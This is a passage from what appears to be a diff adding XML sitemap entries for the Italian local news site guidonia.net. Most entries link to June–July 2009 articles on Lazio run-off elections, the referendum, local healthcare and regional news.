+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/tre-milioni-di-oggetti-falsi-sequestrati-a-fiumicino-leggo-online.html</loc>
+		<lastmod>2009-07-03T07:47:39+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-maxi-operazione-anticontraffazione-gdf-1-arresto-diariodelweb-it.html</loc>
+		<lastmod>2009-07-03T07:29:52+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-gdf-sequestra-3-mln-di-articoli-contraffatti-un-arresto-e-libero-news-it.html</loc>
+		<lastmod>2009-07-03T06:41:14+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/tour-mondezza-a-gattaceca.html</loc>
+		<lastmod>2009-07-01T10:46:00+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/serata-castelli-animati.html</loc>
+		<lastmod>2009-06-30T14:29:19+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/respingiamo-il-pacchetto-sicurezza-mercoledi-1-luglio-dalle-1530-tutte-e-tu.html</loc>
+		<lastmod>2009-06-28T22:01:45+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/smantellamento-dei-beni-pubblici-sciopero-generale.html</loc>
+		<lastmod>2009-06-27T15:06:38+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/tre-volontari-di-atlantide-in-kenya.html</loc>
+		<lastmod>2009-06-27T15:06:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/%c2%abavviso-a-marrazzo-in-vista-del-2010%c2%bb-il-giornale.html</loc>
+		<lastmod>2009-06-25T05:10:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/sanita-maselli-%c2%abgestione-allegra-dellasl-rm-g%c2%bb-il-giornale.html</loc>
+		<lastmod>2009-06-25T05:10:28+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/estate-alla-quarta-x-edizione.html</loc>
+		<lastmod>2009-06-24T17:55:23+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/fattorie-sociali-verso-il-monitoraggio-dei-risultati-terapeutici-superabile.html</loc>
+		<lastmod>2009-06-24T14:03:11+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/amministrative-pdl-vittoria-iannarilli-a-frosinone-boccia-giunta-libero-newsit.html</loc>
+		<lastmod>2009-06-23T17:41:30+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ballottaggi-fiorito-pdl-a-frosinone-vittoria-iannarilli-muta-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-06-23T17:39:36+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/elezioni-alemanno-pdl-sempre-piu-forte-zingaretti-perdiamo-dire-abbonamento.html</loc>
+		<lastmod>2009-06-23T16:21:15+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-presidente-e-iannarilli-linkontroinfo.html</loc>
+		<lastmod>2009-06-23T15:31:15+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/amministrative-robilotta-pdl-marrazzo-perde-tutte-le-sue-libero-newsit.html</loc>
+		<lastmod>2009-06-23T14:43:54+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/frosinone-giro-pdl-dopo-vittoria-iannarilli-aprire-con-udc-libero-newsit-2.html</loc>
+		<lastmod>2009-06-23T13:45:16+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/frosinone-giro-pdl-dopo-vittoria-iannarilli-aprire-con-udc-libero-newsit.html</loc>
+		<lastmod>2009-06-23T13:22:50+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-in-provincia-gli-stati-generali-del-forum-delle-fattorie-sociali-libero-newsit.html</loc>
+		<lastmod>2009-06-23T13:08:28+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-in-provincia-gli-stati-generali-del-forum-delle-fattorie-libero-newsit.html</loc>
+		<lastmod>2009-06-23T13:08:21+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ballottaggi-zingaretti-positivo-contributo-delludc-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-06-23T12:09:50+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/amministrative-zingaretti-elettorato-chiede-a-pd-piu-serieta-e-libero-newsit.html</loc>
+		<lastmod>2009-06-23T12:01:52+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/frosinone-del-balzo-pdl-vittoria-provincia-e-punta-iceberg-libero-newsit.html</loc>
+		<lastmod>2009-06-23T11:44:13+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/elezioni-zingaretti-in-provincia-perdiamo-se-siamo-divisi-diregiovani.html</loc>
+		<lastmod>2009-06-23T11:27:34+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ballottaggi-finisce-in-pareggio-nelle-province-notiziarioitalianoit.html</loc>
+		<lastmod>2009-06-23T10:02:52+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/frosinone-antonello-iannarilli-porta-il-centrodestra-alla-vittoria-il-tempo.html</loc>
+		<lastmod>2009-06-23T06:44:35+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-pdl-vince-in-ciociaria-grazie-a-iannarilli-il-pd-tiene-solo-a-rieti-il-giornale.html</loc>
+		<lastmod>2009-06-23T05:10:15+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/travolgente-successo-di-iannarilli-il-tempo.html</loc>
+		<lastmod>2009-06-23T03:58:42+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/dalle-urne-unaltalena-di-emozioni-il-tempo.html</loc>
+		<lastmod>2009-06-23T03:58:42+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/elezioni-guidonia-e-fonte-nuova-al-centrodestra-06blogit.html</loc>
+		<lastmod>2009-06-23T00:57:28+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/provinciali-frosinone-antonello-iannarilli-nuovo-presidente-blogolandia.html</loc>
+		<lastmod>2009-06-22T22:27:11+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ballottaggi-frosinone-al-pdl-rieti-al-pd-la-repubblica.html</loc>
+		<lastmod>2009-06-22T21:52:55+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/elezioni-provinciali-il-pdl-in-vantaggio-con-iannarilli-la-provincia-latina-tv.html</loc>
+		<lastmod>2009-06-22T20:14:38+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/amministrative-pagano-a-guidonia-vince-pdl-ma-grande-rimonta-libero-newsit.html</loc>
+		<lastmod>2009-06-22T19:44:40+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-pagano-pdl-ha-vinto-per-una-manciata-di-voti-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-06-22T18:31:14+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-comunali-pdl-ai-ballottaggi-conquista-guidonia-e-fontenuova-il-velino.html</loc>
+		<lastmod>2009-06-22T18:16:28+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/amministrative-pdl-lazio-centrodestra-conquista-guidonia-e-fonte-libero-newsit.html</loc>
+		<lastmod>2009-06-22T17:21:23+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-al-voto-affluenza-sotto-la-media-nazionale-la-repubblica.html</loc>
+		<lastmod>2009-06-22T06:50:57+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/tra-negozio-ed-officina-con-norauto-lavoratorioit.html</loc>
+		<lastmod>2009-06-21T22:06:35+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/referendum-ballottaggi-lazio-al-voto-laffluenza-alle-22-la-repubblica.html</loc>
+		<lastmod>2009-06-21T21:36:00+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/referendum-affluenza-ai-minimi-quorum-sempre-piu-un-miraggio-apcom.html</loc>
+		<lastmod>2009-06-21T20:32:51+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/referendumo-mai-cosi-pochi-alle-urne-il-secolo-xix.html</loc>
+		<lastmod>2009-06-21T19:34:02+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-spaccio-di-droga-davanti-a-bar-carabinieri-arrestano-il-libero-newsit.html</loc>
+		<lastmod>2009-06-21T10:25:57+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/referendum-e-ballottaggi-seggi-aperti-dalle-8-alle-22-clandestinoweb.html</loc>
+		<lastmod>2009-06-21T08:43:41+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/italiani-alle-urne-per-referendum-e-ballottaggio-la-7.html</loc>
+		<lastmod>2009-06-21T08:34:19+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/oggi-e-domani-alle-urne-per-referendum-e-ballottaggi-la-repubblica.html</loc>
+		<lastmod>2009-06-21T08:08:24+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ballottaggi-e-referendum-italia-al-voto-libero-newsit.html</loc>
+		<lastmod>2009-06-21T07:52:43+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/referendum-e-ballottaggi-lazio-al-voto-la-repubblica.html</loc>
+		<lastmod>2009-06-21T07:51:59+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/referendum-e-ballottaggi-urne-di-nuovo-aperte-in-italia-apcom.html</loc>
+		<lastmod>2009-06-21T06:24:50+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/al-voto-per-referendum-e-ballottaggi-rainews24.html</loc>
+		<lastmod>2009-06-21T05:21:50+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ballottaggi-urne-aperte-oggi-e-domani-il-giornale.html</loc>
+		<lastmod>2009-06-21T05:05:45+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/comunali-ciocchetti-candidati-a-sindaci-hanno-fatto-del-%e2%80%9cbuon-politicamentecorrettocom.html</loc>
+		<lastmod>2009-06-20T22:02:13+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ballottaggi-al-voto-in-province-rieti-frosinone-e-3-comuni-la-repubblica.html</loc>
+		<lastmod>2009-06-20T16:00:11+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/domani-e-lunedi-si-torna-a-votare-al-seggio-per-ballottaggi-e-larena.html</loc>
+		<lastmod>2009-06-20T13:36:43+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lavoro-cassa-edile-roma-nel-2008-iscritti-63092-addetti-e-libero-newsit.html</loc>
+		<lastmod>2009-06-20T11:42:24+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lavoro-cassa-edile-roma-nel-2008-iscritti-63092-addetti-e-libero-newsit-2.html</loc>
+		<lastmod>2009-06-20T11:22:05+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/cubamor.html</loc>
+		<lastmod>2009-06-20T10:35:51+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-ballottaggi-sfida-finale-in-ciociaria-e-sabina-il-velino.html</loc>
+		<lastmod>2009-06-19T15:16:29+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-lucherini-pd-da-nuovo-svincolo-guidonia-grande-impulso-libero-newsit.html</loc>
+		<lastmod>2009-06-19T14:05:13+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-astorre-al-via-realizzazione-nuovo-casello-di-guidonia-libero-newsit-2.html</loc>
+		<lastmod>2009-06-19T13:24:15+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-astorre-al-via-realizzazione-nuovo-casello-di-guidonia-libero-newsit.html</loc>
+		<lastmod>2009-06-19T13:24:15+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/infrastrutture-dalla-regione-3-milioni-per-nuovo-casello-di-guidonia-regione-lazio.html</loc>
+		<lastmod>2009-06-19T11:22:08+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/int-guidonia-astorre-da-regione-3mln-per-nuovo-casello-autostrada-il-velino.html</loc>
+		<lastmod>2009-06-19T10:36:19+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/domenica-e-lunedi-si-torna-alle-urne-romauno.html</loc>
+		<lastmod>2009-06-19T07:56:14+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/internet-liberta-filtrate-stabiachannelit.html</loc>
+		<lastmod>2009-06-19T07:42:01+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/romatrasporti-incendio-fra-stazioni-fs-palombara-tivoli-agenzia-di-stampa-asca.html</loc>
+		<lastmod>2009-06-18T16:24:52+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/elezioni-rieti-e-frosinone-al-ballottaggio-per-la-provincia-agenzia-di-stampa-asca.html</loc>
+		<lastmod>2009-06-18T15:03:33+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-lippiello-pagano-diffonde-volantini-falsi-con-nostri-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-06-18T13:44:57+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/che-si-sballottino-da-soli.html</loc>
+		<lastmod>2009-06-18T07:58:00+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/%c2%85e-se-guidonia-non-fosse-solo-%c2%85.html</loc>
+		<lastmod>2009-06-17T21:11:26+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/sanita-luzzi-pdl-su-poliambulatorio-guidonia-lucherini-libero-newsit.html</loc>
+		<lastmod>2009-06-17T16:44:18+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/sanita-lucherini-pd-lunedi-apertura-buste-appalto-libero-newsit.html</loc>
+		<lastmod>2009-06-17T16:40:33+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-lucherini-su-poliambulatorio-buste-aperte-lunedi-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-06-17T15:31:32+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/sanita-maselli-pdl-lucherini-si-occupa-di-guidonia-solo-in-libero-newsit.html</loc>
+		<lastmod>2009-06-17T15:23:16+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/sanita-lucherini-pd-a-colleverde-di-guidonia-presto-un-libero-newsit.html</loc>
+		<lastmod>2009-06-17T15:04:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/colleverde-di-guidonia-lucherini-ecco-il-poliambulatorio-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-06-17T12:36:52+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/servizio-pubblico-dia-spazio-a-campagna-il-messaggero.html</loc>
+		<lastmod>2009-06-16T19:45:21+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-rubeis-idv-definisce-banda-di-accattoni-ludc-e-poi-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-06-16T18:01:05+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-guidonia-rubeis-meglio-programma-serio-che-alleanze-ibride-il-velino.html</loc>
+		<lastmod>2009-06-16T16:04:39+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/indirizzi-strategici-per-le-politiche-culturali.html</loc>
+		<lastmod>2009-06-16T08:59:17+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pedica-idv-ludc-e-una-banda-di-accattoni-e-mercenari-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-06-15T16:35:49+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/igd-siiq-e-un-cantiere-sempre-aperto-dm-distribuzione-moderna.html</loc>
+		<lastmod>2009-06-15T12:55:51+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/fronte-salute-mentale-incontra-i-candidati-a-sindaco-del-comune-di-guidonia_mont.html</loc>
+		<lastmod>2009-06-15T12:52:11+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/scorribande-notturne.html</loc>
+		<lastmod>2009-06-15T11:33:02+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/provinciali-storace-la-destra-stupidi-gli-strateghi-laziali-il-sussidiarionet.html</loc>
+		<lastmod>2009-06-14T15:51:30+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ballottaggi-lazio-ludc-si-schiera-con-pd-e-il-pdl-scatena-la-il-messaggero.html</loc>
+		<lastmod>2009-06-14T15:39:36+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/amministrative-giro-ora-impossibile-alleanza-con-udc-per-libero-newsit.html</loc>
+		<lastmod>2009-06-14T15:02:24+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/elezioni-storace-stupido-pdl-lazio-a-dire-no-a-la-destra-libero-newsit.html</loc>
+		<lastmod>2009-06-14T12:42:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/programma-elettorale.html</loc>
+		<lastmod>2009-06-14T09:06:28+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/la-decisione-delludc-pesera-sugli-equilibri-politici-del-lazio-il-tempo.html</loc>
+		<lastmod>2009-06-14T04:10:03+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/cabaret-romano-unito-per-la-scuola-dabruzzo-il-tempo.html</loc>
+		<lastmod>2009-06-14T04:02:32+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/al-via-la-seconda-edizione-del-festival-art-in-sound.html</loc>
+		<lastmod>2009-06-13T07:57:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/e_state-alla-quarta-2009-in-iv-municipio.html</loc>
+		<lastmod>2009-06-12T14:42:47+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/amministrative-buonasorte-buono-risultato-la-destra-in-provincia-libero-newsit.html</loc>
+		<lastmod>2009-06-12T11:03:45+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/brutta-notizia-per-linformazione-giornal.html</loc>
+		<lastmod>2009-06-12T10:37:21+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/aperti-i-world-air-games-rivist.html</loc>
+		<lastmod>2009-06-11T19:25:54+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/%c2%absiamo-la-comunita-piu-numerosa-su-settemila-abitanti-mille-sono-il-messaggero.html</loc>
+		<lastmod>2009-06-11T14:24:52+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/anche-laeronautica-militare-air-wolrd-air-games-2009-ilvoloit.html</loc>
+		<lastmod>2009-06-11T14:05:00+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lami-a-torino-per-i-world-air-games-2009-avionews.html</loc>
+		<lastmod>2009-06-11T13:42:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-torinese-che-sfida-il-vento-adrenalina-a-280-km-lora-lespresso.html</loc>
+		<lastmod>2009-06-11T13:09:31+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/la-favola-di-leontina-da-bucarest-al-consiglio-comunale-di-marcellina-il-messaggero.html</loc>
+		<lastmod>2009-06-11T13:09:30+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/passaggio-di-consegne-allo-stato-maggiore-del-comando-scuole-am3-aeronautica-militare.html</loc>
+		<lastmod>2009-06-11T12:08:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-scossa-di-terremoto-lieve-sisma-in-provincia-di-roma-tra-unonotizieit.html</loc>
+		<lastmod>2009-06-11T08:54:27+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/san-vito-martire-2009.html</loc>
+		<lastmod>2009-06-11T06:49:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/terremoto-lazio-scossa-di-quasi-2-gradi-in-provincia-di-roma-il-sussidiarionet.html</loc>
+		<lastmod>2009-06-10T18:07:15+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-lazio-rimpasto-nel-pd-si-riaccende-la-guerra-tra-le-correnti-il-velino.html</loc>
+		<lastmod>2009-06-10T15:30:32+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lieve-scossa-nei-dintorni-di-guidonia-sisma-di-magnitudo-18-il-messaggero.html</loc>
+		<lastmod>2009-06-10T14:46:18+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/elezioni-montino-pd-in-lazio-buoni-risultati-centro-sinistra-libero-newsit.html</loc>
+		<lastmod>2009-06-10T14:46:13+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/terremoti-protezione-civile-lieve-scossa-in-provincia-di-roma-libero-newsit.html</loc>
+		<lastmod>2009-06-10T14:40:36+00:00</lastmod>
+		<changefreq>daily</changefreq>
